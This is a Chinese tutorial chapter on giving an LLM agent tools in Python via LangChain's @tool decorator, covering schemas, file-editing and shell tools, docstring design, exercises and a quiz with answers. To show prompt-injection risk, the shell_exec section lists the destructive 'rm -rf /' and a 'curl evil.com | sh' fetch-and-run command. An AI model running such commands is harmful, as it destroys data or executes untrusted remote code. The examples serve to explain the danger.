800行Python代码实现Claude Code 第三章:工具层(Tools)——给 Agent 装上手脚

目标：理解@tool 装饰器的工作原理，掌握工具设计原则，能创建自定义工具。

3.1 概念讲授：为什么 LLM 需要工具？

LLM 是"纯文字"的——它能理解和生成文字，但无法：

• 读取你电脑上的文件
• 执行 Shell 命令
• 访问实时互联网

工具（Tool）是连接 LLM 和真实世界的桥梁：

LLM（大脑）←→Tools（手脚）←→真实世界
调用执行

Tool Calling 的工作机制

①发送请求（含工具Schema）
   LLM ←────────Agent
②返回 tool_call（结构化 JSON）
   LLM ────────→Agent
③执行工具
Agent──────→Tool（Python函数）
④返回结果
Tool────────→Agent
⑤把结果加入对话历史，再次调用 LLM
Agent──────→ LLM

3.2 概念讲授：@tool 装饰器做了什么？

from langchain.tools import tool
@tool
def write_text_file(path: str, content: str)-> str:
"""Write content to a file (overwrites if exists)."""
with open(path,"w", encoding='utf-8')as f:
        f.write(content)
return f"File {path} written successfully"

@tool 自动完成三件事：

1. 提取函数签名 → 生成 JSON Schema（LLM 靠这个知道参数格式）
2. 提取 docstring → 成为工具描述（LLM 靠这个知道何时调用）
3. 包装为 StructuredTool → 统一.invoke() 接口

Schema 长什么样？

import json
from tools import write_text_file
print(json.dumps(write_text_file.args_schema.schema(), indent=2))

输出：

{
"title":"write_text_fileSchema",
"type":"object",
"properties":{
"path":{
"title":"Path",
"type":"string"
},
"content":{
"title":"Content",
"type":"string"
}
},
"required":["path","content"]
}

LLM 收到这个 Schema，就知道：调用write_text_file 需要提供path（字符串）和content（字符串）。

3.3 tools.py 逐行解析

shell_exec：最强但最危险

@tool
def shell_exec(command: str)-> str:
"""Execute a shell command and return its output.
    Use this for curl, wget, ls, mkdir, rm, cat, etc."""
try:
        result = subprocess.run(
            command,
            shell=True,# ⚠️ 允许任意 shell 语法
            capture_output=True,
            text=True,
            timeout=30# 防止命令卡死
)
        output = result.stdout.strip()
        error = result.stderr.strip()
if result.returncode !=0:
return f"Error (code {result.returncode}): {error or 'No error message'}"
return output or"(command succeeded, no output)"
exceptExceptionas e:
return f"Execution failed: {str(e)}"

shell=True 的安全风险

# 正常调用
shell_exec("ls -la")# 列出目录 ✓
shell_exec("mkdir -p test/")# 创建目录 ✓
# 危险调用（如果 LLM 被"提示注入"）
shell_exec("rm -rf /")# 删除所有文件 ✗
shell_exec("curl evil.com | sh")# 执行远程脚本 ✗

生产环境保护方案：

# 白名单过滤
ALLOWED_COMMANDS =["ls","mkdir","cat","python3","echo"]
def shell_exec_safe(command: str)-> str:
    cmd_name = command.strip().split()[0]
if cmd_name notin ALLOWED_COMMANDS:
return f"Error: command '{cmd_name}' not allowed"
...
# 或使用 Docker 容器隔离（生产推荐）

readtextfile / writetextfile / appendtextfile

@tool
def write_text_file(path: str, content: str)-> str:
"""Write content to a file (overwrites if exists).
    Use append_text_file to add without overwriting."""
# 注意：mode 参数不暴露给 LLM！
# 早期版本有 mode 参数，LLM 可能传入 "w" 覆盖系统文件
with open(path,"w", encoding='utf-8')as f:
        f.write(content)
return f"File {path} written successfully"
@tool
def append_text_file(path: str, content: str)-> str:
"""Append content to an existing file without overwriting it."""
with open(path,"a", encoding='utf-8')as f:
        f.write(content)
return f"Content appended to {path}"

设计要点：write 和append 分成两个工具，而不是一个有mode 参数的工具。 原因：mode 参数暴露给 LLM 意味着 LLM 可以任意选择"w" 覆盖或"a" 追加，容易出错，也有安全风险。

edittextfile：大小写陷阱修复

@tool
def edit_text_file(path: str, instruction: str)-> str:
"""Edit file content. Examples:
    - "add 'Hello world' at the end"
    - "replace 'Hello' with 'Hi'"
    """
...
    lower_instr = instruction.lower()
if lower_instr.startswith("add "):
# ✅ 用原始 instruction 取内容，保留大小写
        to_add = instruction[4:].strip()
...
elif"replace"in lower_instr:
# ✅ 用 lower_instr 定位，从原始 instruction 提取值
        replace_idx = lower_instr.index("replace")+ len("replace")
        with_idx = lower_instr.find(" with ", replace_idx)
        old = instruction[replace_idx:with_idx].strip().strip("'\"")
        new = instruction[with_idx +6:].strip().strip("'\"")
...

经典 Bug vs 修复对比：

# ❌ 错误：instruction.lower() 后提取值
parts = instruction.lower().split("replace")
# "replace Hello with World" → lower → "replace hello with world"
# old = "hello"（不是 "Hello"！），文件中的 "Hello" 不会被替换
# ✅ 正确：只用 lower 做模式匹配，从原始字符串取值
lower_instr = instruction.lower()
replace_idx = lower_instr.index("replace")+7
with_idx = lower_instr.find(" with ", replace_idx)
old = instruction[replace_idx:with_idx].strip()# 原始大小写

3.4 Tool docstring 设计原则

docstring 是 LLM 决定是否调用这个工具的唯一依据。

对比示例

# ❌ 差的 docstring
@tool
def write_text_file(path: str, content: str)-> str:
"""写文件"""
# LLM 看到这个：不知道是覆写还是追加，不知道编码，不知道何时用
# ✅ 好的 docstring
@tool
def write_text_file(path: str, content: str)-> str:
"""Write content to a file (overwrites if exists).
    Use append_text_file to add without overwriting."""
# LLM 看到这个：
# 1. 知道会覆写（"overwrites if exists"）
# 2. 知道有替代工具（"Use append_text_file..."）
# 3. 会在需要覆写时选择这个工具

设计清单

• 说明做什么：动词开头，描述工具功能

  说明副作用：覆写？追加？删除？创建？

  说明何时用：与相似工具的区别

  举例（复杂工具）：Example:"replace 'old' with 'new'"

  避免冗余：不要重复函数名或参数名

3.5 工具的调用方式

# 方式 A：.invoke() 传字典（推荐，类型安全）
result = write_text_file.invoke({"path":"test.txt","content":"hello"})
# 方式 B：直接调用（也可以，但 @tool 包装后签名可能变化）
result = write_text_file("test.txt","hello")
# 方式 C：AgentExecutor 自动调用（Agent 内部使用）
# executor 会根据 LLM 的 tool_call 自动找到工具并执行

✏️ 带练 3-A：验证工具与查看 Schema

# 1. 测试写入和读取
uv run python -c "
from tools import write_text_file, read_text_file
result = write_text_file.invoke({'path': '/tmp/test.txt', 'content': 'Hello, Tool!'})
print('Write:', result)
content = read_text_file.invoke({'path': '/tmp/test.txt'})
print('Read:', content)
"
# 2. 查看工具 Schema（LLM 实际看到的格式）
uv run python -c "
import json
from tools import write_text_file, shell_exec
print('=== write_text_file Schema ===')
print(json.dumps(write_text_file.args_schema.schema(), indent=2))
print()
print('=== shell_exec description ===')
print(shell_exec.description)
"
# 3. 列出所有已注册工具
uv run python -c "
from tools import tools
from skills import skills
all_tools = tools + skills
for t in all_tools:
    print(f'{t.name:30s} {t.description[:60]}')
"

📝 独立练习 3-1

题目：实现一个count_lines 工具，接受文件路径，返回该文件的行数。

@tool
def count_lines(path: str)-> str:
"""Count the number of lines in a file.
    Returns the line count as a string, or an error message if the file cannot be read."""
# 提示：
# 1. 用 open() 读取文件
# 2. 用 .splitlines() 或 len(f.readlines()) 计算行数
# 3. 异常处理（文件不存在等）
pass

验收：

uv run python -c "
from tools import count_lines  # 假设你把它加到 tools.py
print(count_lines.invoke({'path': 'tools.py'}))
# 预期：类似 "tools.py has 113 lines"
"

📝 独立练习 3-2

题目：实现一个search_in_file 工具，在文件中搜索关键词，返回包含该词的所有行及行号。

@tool
def search_in_file(path: str, keyword: str)-> str:
"""Search for a keyword in a file and return matching lines with line numbers.
    Example: search_in_file('/etc/hosts', 'localhost')"""
pass

🔍 小测 3

选择题：以下哪个@tool 函数的定义最好？

# A
@tool
def delete_file(path: str, confirm: bool =True)-> str:
"""Delete a file. confirm=True requires verification."""
if confirm:
import os; os.remove(path)
return"Deleted"
# B
@tool
def delete_file(path: str)-> str:
"""Permanently delete a file from the filesystem.
    WARNING: This cannot be undone. Check the path carefully before using."""
import os
ifnot os.path.exists(path):
return f"File not found: {path}"
    os.remove(path)
return f"Deleted: {path}"
# C
@tool
def delete_file(path, confirm)-> str:
"""Delete."""
import os; os.remove(path)
return"ok"

答案解析：

• A 有问题：confirm:bool 参数暴露给 LLM，LLM 可能传False 跳过确认
• B 最好：有类型注解（Schema 正确生成），docstring 清晰说明风险，有存在性检查，返回有意义的信息
• C 最差：无类型注解（Schema 无法生成），docstring 无意义，无错误处理

填空题：写出调用list_dir 工具、列出/tmp 目录的正确代码：

from tools import list_dir
result = list_dir.invoke(________)

答案：list_dir.invoke({"path":"/tmp"})

本章小结